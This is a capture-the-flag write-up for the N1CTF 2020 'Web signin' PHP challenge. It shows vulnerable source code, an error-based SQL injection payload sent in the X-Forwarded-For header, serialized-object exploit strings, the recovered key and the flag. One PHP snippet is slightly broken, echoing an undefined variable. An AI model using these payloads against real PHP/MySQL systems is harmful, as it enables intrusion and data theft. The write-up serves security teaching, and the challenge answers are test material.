Tags: web serialization
Rating: 5.0
# Web signin
## Description
It was php serialization challenge, ended up having 78 solves.
## Challenge
```
class ip {
public $ip;
public function waf($info){
}
public function __construct() {
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
}else{
$this->ip =$_SERVER["REMOTE_ADDR"];
}
}
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
}
class flag {
public $ip;
public $check;
public function __construct($ip) {
$this->ip = $ip;
}
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
public function __destruct() {
echo $this->getflag();
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
unserialize($input);
}
```
## Solution
To solve this, we just have to reach `getflag` method with correct check property.
```
public function getflag(){
if(md5($this->check)===md5("key")){
readfile('/flag');
}
return $this->ip;
}
```
`waf` method's code is not in picture.
Also there is a mysql connection in `__toString` method of `ip` class. So maybe the correct key is there.
To dump the key, we have to somehow get sql injection.
Basically there is injection point in code:
```
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
```
Also this part of code is interesting.
```
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
```
This code returns mysql error or a `your ip looks ok!` based on the query result.
The other interesting part is
```
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
```
This means if our ip has `n1ctf` in it, then `welcome to n1ctf2020` is shown, otherwise `noip`.
So if we can put `n1ctf` in mysql error code, we have sql injection.
This injection does the job.
```
'&&(select extractvalue(rand(),concat(0x3a,((select "n1ctf" from n1ip where 1=2 limit 1)))))&&'
```
The query with our injection would return error with `n1ctf` in it if `1=1` and `null` otherwise.
## Exploit
We can generate our serialized object with this code.
```
$payload = new flag("A");
$payload->ip = new ip();
echo urlencode(urlencode( $input ));
```
Which is
```
O%3A4%3A%22flag%22%3A2%3A%7Bs%3A2%3A%22ip%22%3BO%3A2%3A%22ip%22%3A1%3A%7Bs%3A2%3A%22ip%22%3BN%3B%7Ds%3A5%3A%22check%22%3BN%3B%7DA
```
Then in `X-Forwarded-For` header
```
'&&(select extractvalue(rand(),concat(0x3a,((select "n1ctf" from n1ip where 1=1 limit 1)))))&&'
```
The response contains `welcome to n1ctf2020` if `1=1` and `noip` otherwise.
Then you can get key with dumping database, which is `n1ctf20205bf75ab0a30dfc0c`.
Final payload is
```
O%3A4%3A"flag"%3A2%3A%7Bs%3A2%3A"ip"%3Bs%3A1%3A"A"%3Bs%3A5%3A"check"%3Bs%3A25%3A"n1ctf20205bf75ab0a30dfc0c"%3B%7DA
```
And the flag is n1ctf{you_g0t_1t_hack_for_fun}